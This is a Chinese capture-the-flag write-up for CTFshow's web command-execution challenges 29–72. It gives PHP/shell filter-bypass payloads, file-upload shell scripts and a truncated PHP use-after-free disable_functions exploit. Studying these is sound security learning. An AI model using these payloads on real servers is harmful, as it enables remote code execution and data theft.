CTFshow web入门——命令执行

可以事先看一下这篇文章方便做题 命令执行小技巧

目录

Web 29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
     if(!preg_match("/flag/i", $c))

{
        eval($c);
    }
    
}else{
    highlight_file(__FILE__); 

一.分析代码:

 if(!preg_match("/flag/i", $c))

preg_match 函数用于执行一个正则表达式匹配。/i意味着不分大小写。本句含义是不能用flag值且忽略了大小写。从这句可以看出过滤了flag

二.解题过程:

方法一:
eveal函数
在这里插入图片描述传入

?c=echo ‘’?><?php system(‘ls’);

可以看到有 flag.php文件,之后采用include结合伪协议进行包含读取
payload:

?c=echo ‘’?><?php include"$_GET[url]";&url=php://filter/read=convert.base64-encode/resource=flag.php

关于ls命令的解释
方法二:
采用的是阿狸师傅的方法 阿狸师傅的讲解视频
1.首先查看一下php的版本,访问一下发现是7

?c=phpinfo();

2.接下来查看一下发现没有禁用函数
在这里插入图片描述3.扫描一下当前目录有什么文件,发现有flag.php

?c=print_r(scandir("."));

在这里插入图片描述
4.经过一系列的尝试发现可以采用写入文件的方法

?c=system(“cat *php >>2.txt”);
*php是后缀为php,本句的意思是将后缀为php的写入2.txt中

5.之后访问/2.txt,即可得到flag
在这里插入图片描述方法三:
涉及的知识点是通用符
我们想要执行 cat flag.php,但是flag被过滤了,这时候就可以使用通配符
cat f*表示打开当前目录下所有 f开头的文件

?c=echo system('cat f*');

Web 30

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

if(!preg_match("/flag|system|php/i", $c))

过滤了flag,system,php

二.解题过程

方法一:
还是同29题方法
payload:

?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

方法二:
还是采用的阿狸师傅的方法 阿狸师傅的讲解视频
1.事先了解以下

echo ls(输出ls)
`echo ls`(执行echo ls 命令)

2.如果在flag.php中直接写入flag

用cat ????.???可以输出flag
用echo cat ????.???可以输出 cat flag.php
用echo `cat ????.???`可以输出flag

但是都试一下发现并没有出现flag
3.是因为flag.php中可能是这样写入的

<?php
$flag

将flag当成变量,把程序进行了解析,执行了
4.那么我们就可以借鉴29题的思路,写入1.txt中

 /?c=echo`cat ????.??? >> 1.txt`;

5.访问1.txt,即可得到flag
在这里插入图片描述方法三:
反引号执行系统命令
使用通配符或*绕过过滤flag和php

?c=echo `cat f*`;

Web 31

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)) {
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))

过滤了flag,system,php,cat,sort,shell,空格,单引号,.

二.解题思路:

方法一:
1.涉及的知识点:

空格过滤

%09 符号需要php环境
{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

cat过滤

more:一页一页的显示档案内容
less:与 more 类似。但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容。可以利用报错将文件内容带出来(-f<名称文件>  指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)

2.我们可以构造playload:

?c=echo(`tac%09f*`);
?c=echo(`tail%09f*`);
需要查看源码:
?c=echo(`nl%09f*`);
?c=echo(`less%09f*`);
?c=echo(`more%09f*`);

还有很多据不一一列举了
方法二:
采用include结合伪协议进行包含读取

?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

Web 32

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))

过滤了flag,system,php,cat,sort,shell,echo,分号,空格,单引号,括号,空格,`,.

二.解题过程:

php中有许多不用括号的函数

<?php
echo 123;
print 123;
die;
include "/etc/passwd";
require "/etc/passwd";
include_once "/etc/passwd";
require_once "etc/passwd";
?>

尝试include"/etc/passwd"?>可以执行,且代码没有过滤$,用c=include"$_POST[x]"?>或者c=include"$_GET[x]"?>然后用php伪协议将include包含的文件在页面上显示出来

payload:?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

Web 33

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c))

过滤了flag,system,php,cat,sort,shell,echo,分号,单引号,双引号,空格,括号,.,`

二.解题过程:

思路同上,但是本题过滤了单双引号

?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

Web 34

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))

过滤了flag,system,php,cat,sort,shell,echo,双引号,单引号,空格,冒号,分号,括号,.,`

二.解题过程:

同上

?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

Web 35

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))

过滤了flag,system,php,cat,sort,shell,echo,双引号,单引号,空格,分号,等号,冒号,括号,<,.,`

二.解题过程:

同上

?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

Web 36

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c))

过滤了flag,system,php,cat,sort,shell,echo,双引号,单引号,空格,数字,分号,等号,冒号,括号,<,.,`,/

二.解题过程:

同上

?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

Web 37

 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

    if(!preg_match("/flag/i", $c)){
        include($c);

过滤了flag ,又是 include 文件包含

二.解题过程:

利用伪协议读flag

data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

方法一:
flag使用*绕过

?c=data://text/plain,<?php echo system('cat fl*');?>
?c=data://text/plain,<?php%20 system('cat fl*');?>

查看源码即可得到flag
方法二:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

base64解码为<?php system('cat flag.php');?>
查看源码即可得到flag

Web 38

 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

 if(!preg_match("/flag|php|file/i", $c)){
        include($c);

原理同上一题,多了个php过滤

二.解题过程:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

Web 39

 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

  if(!preg_match("/flag/i", $c)){
        include($c.".php");

过滤了flag,限制了.php后缀

二.解题过程:

我们可以试试伪协议,因为不能带有flag,所以filter协议和php://input也不好用了。data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
flag使用*绕过

?c=data://text/plain,<?php echo system('cat fl*');?>
?c=data://text/plain,<?php%20 system('cat fl*');?>

查看源码即可得到flag
这样就相当于执行了php语句<?php system('cat f*')?>.php

Web 40

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

过滤了引号、美元符号、冒号,这里可以构造无参数函数进行文件读取,正则中的括号不是英文的 是过滤了中文的括号

二.解题过程:

事先我们可以先了解一下:
无参数读文件和RCE总结 [GXYCTF2019]禁止套娃
PHP Parametric Function RCE

涉及的知识点:
读文件+数组改造

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
array_reverse():数组逆序 scandir():获取目录下的文件
next():函数将内部指针指向数组中的下一个元素,并输出。 首先通过
pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以scandir(pos(localeconv()))就能得到flag.php了。具体内容如下

在这里插入图片描述我们的目的很明确,得到倒数第二个元素。直接将数组逆序在将指针调整到下一个就好了。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Web 41

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

羽师傅的wp

Web 42

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

  system($c." >/dev/null 2>&1");

>/dev/null 2>&1主要意思是不进行回显的意思,可参考Shell脚本———— /dev/null 2>&1详解

二.解题过程:

我们要让命令回显,那么进行命令分隔即可

; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

可构造playload:

cat flag.php;
cat flag.php||

Web 43

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
   if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

  if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }

过滤了cat和分号

二.解题过程:

命令执行绕过小技巧
根据上面的文章我们可以构造playload:

?c=more flag.php||
?c=sort flag.php||
?c=less flag.php||
?c=tac flag.php||
?c=tail flag.php||
?c=nl flag.php||
?c=strings flag.php||

(payload有很多,这里只列举这些)

Web 44

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }

多过滤了一个flag,通配符绕过即可

二.解题过程:

playload:

?c=more ????.???||
?c=more fla*.php||
?c=more fl\ag.php||
?c=more fl''ag.php||

(payload有很多,这里只列举这些)

Web 45

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }

多过滤了个空格

二.解题过程:

空格绕过

>` `<` `<>` 重定向符
`%09`(需要php环境)
`${IFS}`
`$IFS$9`
`{cat,flag.php}` //用逗号实现了空格功能
`%20`
`%09

构造playload:

?c=more%09fla*.php||

Web 46

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }

增加了过滤数字 $ *

二.解题过程:

空格可用%09 (不属于数字)
构造playload:

?c=more%09????.???||

Web 47

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);

一.分析代码:

    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }

多过滤了一些内容

二.解题过程:

构造playload:

?c=tac%09????.???||

Web 48

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }

多过滤了一些内容

二.解题过程:

构造playload:

?c=tac%09????.???||

Web 49

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }

多过滤了一些内容

二.解题过程:

构造playload:

?c=tac%09????.???||

Web 50

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }

%09被过滤

二.解题过程:

使用<>代替空格
<>和?同时使用不回显 所以用\代替?
构造playload:

?c=tac<>fla\g.php||

Web 51

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }

tac被过滤了

二.解题过程:

构造playload:

?c=nl<>fla\g.php||

Web 52

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }

多过滤了一些内容

二.解题过程:

?c=ls${IFS}/||//查找根目录下文件
bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var 

构造playload:

?c=nl${IFS}/????||
?c=nl${IFS}/fl''ag||

Web 53

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }

过滤了;|cat|flag|空格|数字|*|几个查看文件命令|%|<>

二.解题过程:

$IFS符号如果是在当前目录读文件则中间要用’'来分隔一下
如果读其他路径下的如根目录 / 下的文件 则不用使用符分割
$IFS后边可以使用符号 但是不能直接跟字符 会显示无效命令
可构造playload:

?c=nl${IFS}????.???

Web 54

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c))

增加了很多过滤信息

二.解题过程:

grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

可构造playload:

?c=uniq${IFS}????.???
?c=grep${IFS}'{'${IFS}fl???php
(在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行)

Web 55

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

一.分析代码:

 if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c))

过滤了字母

二.解题过程:

方法一:
查看源代码发现没有过滤数字,我们就想一想在我们查看文件的命令有没有数字开头的。
匹配到/bin目录下的命令
cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
发现存在一个base64
我们就可以通过通配符进行匹配命令执行查看flag.php
payload:

?c=/???/????64 ????.???
意思是 /bin/base64 flag.php

方法二:
bzip2是linux下面的压缩文件的命令 关于bzip2命令的具体介绍
/usr/bin目录:

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等

我们可以利用/usr/bin下的bzip2

意思就是说我们先将flag.php文件进行压缩,然后再将其下载
payload:

?c=/???/???/????2 ????.???
也就是/usr/bin/bzip2 flag.php

然后访问/flag.php.bz2进行下载获得flag.php
方法三:
无字母数字webshell之提高篇
.(点)的用法,就是相当于source 可以执行sh命令linux下的.使用

在这个之前我们需要构造一个post上传文件的数据包。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后抓包
构造poc执行命令

?c=.+/???/????????[@-[]
注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。
然后在上传文件内容添加sh命令

#!/bin/sh
ls

或者直接运行下面的脚本即可得到flag:

import requests

while True:
    url = "http://a88c904d-6cd4-4eba-b7e9-4c37e0cf3a7d.chall.ctf.show/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')})
    if r.text.find("flag") > 0:
        print(r.text)
        break

Web 56

 <?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c))

过滤了字母和数字

二.解题过程:

同上边的无数字字母getshell

import requests

while True:
    url = "http://a88c904d-6cd4-4eba-b7e9-4c37e0cf3a7d.chall.ctf.show/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')})
    if r.text.find("flag") > 0:
        print(r.text)
        break

Web 57

<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c))

过滤了字母、数字、分号、2个通配符

二.解题过程:

取反

首先看等号左边(100) 的二进制表示为: 0110 0100 按位取反的意思就是每一位取反,0变1,1变0
所以: ~100 的二进制表示为:1001 1011 所以等号左边=1001 1011

再看右边
-101. 一旦看到出现负数,那么这个数一定是按有符号数的规则来表示的。一个二进制数 按位取反并加一以后就可以得到它自己的负数的补码,也就是说: ~x+1=-x 所以,我们把101按位取反加一 先取反:
~101=10011010 再加一: ~101+1=10011011=-101 所以等号右边=10011011=左边,所以等号成立。

双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。 通俗地讲,就是将数学运算表达式放在((和))之间。 表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。 可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。 可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。 注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。
在这里插入图片描述echo ${_} #返回上一次的执行结果
echo $(()) #0
echo $((~$(()))) #~0是-1
$(($((~$(())))$((~$(()))))) #$((-1-1))即$$((-2))是-2
echo $((~-37)) #~-37是36

$(($((~$(())))$((~$(())))))==-2

拆开看

$(( $((~$(()))) $((~$(()))) ))
$((~$(())))==-1 中间有两个所以是-2 是相加的 那中间有37个就是-37

然后取反就是36
playload:

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

Web 58-65

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

禁用函数

二.解题过程:

注:POST传参
构造playload:

c=show_source('flag.php');
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

在这里插入图片描述

Web 66

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

一.分析代码:

用show_source(),回显该函数被禁用

二.解题过程:

直接读flag.php,发现位置不对

POST:c=print_r(scandir("/"));
POST:   c=highlight_file('/flag.txt');

在这里插入图片描述

Web 67

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

一.分析代码:

这题相比于上题多过滤了print_r()函数,可以使用var_dump()函数代替

二.解题思路:

POST传参

c=var_dump(scandir('/'));
c=highlight_file('/flag.txt');

Web 68

这题把highlight_file()函数给ban了,看不到源码

c=var_dump(scandir('/'));
c=include('/flag.txt');

虽然把print_r()函数ban了,但是这题没有ban include,可以利用文件包含漏洞读取flag.txt

Web 69-70

var_dump()函数被ban,那就用var_export()函数

c=var_export(scandir('/'));
c=include('/flag.txt');

Web 71

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>
你要上天吗?

一.分析代码:

$s = ob_get_contents();//得到缓冲区的数据。
ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容

二.解题过程:

方法一:
c=var_export(scandir('/'));发现输出的一大堆问号,原来是源码中用函数将缓冲区的所有字符全部替换为问号,那么可以用exit()/die()提前结束,这样就不会将字符替换为问号
playload:

c=var_export(scandir('/'));exit();
c=include("/flag.txt");die();

方法二:

import requests

url = "http://64fe58eb-5766-484d-b8db-bd1f4b3ab1c2.chall.ctf.show/"

d = {'c': 'include("/flag.txt");echo ~ob_get_contents();'}
s = requests.post(url, d).content



for i in s:
    print(chr(~i&0xff), end='')
# 脚本来自群大佬阿狸

Web 72

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
 
?>
 
你要上天吗?

一.分析代码:

存在open_basedir,利用glob伪协议在筛选目录时不受open_basedir制约

二.解题过程:

c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f."    " ;
}
 
exit();

知道了文件是/flag0.txt之后,就要想办法绕过open_basedir和disable_functions来读了。

c=?><?php
pwn("ls /;cat /flag0.txt");
 
function pwn($cmd) {
    global $abc, $helper, $backtrace;
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }
 
    class Helper {
        public $a, $b, $c, $d;
    }
 
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
 
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf('%c',$ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
 
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf('%c',$v & 0xff);
            $v >>= 8;
        }
    }
 
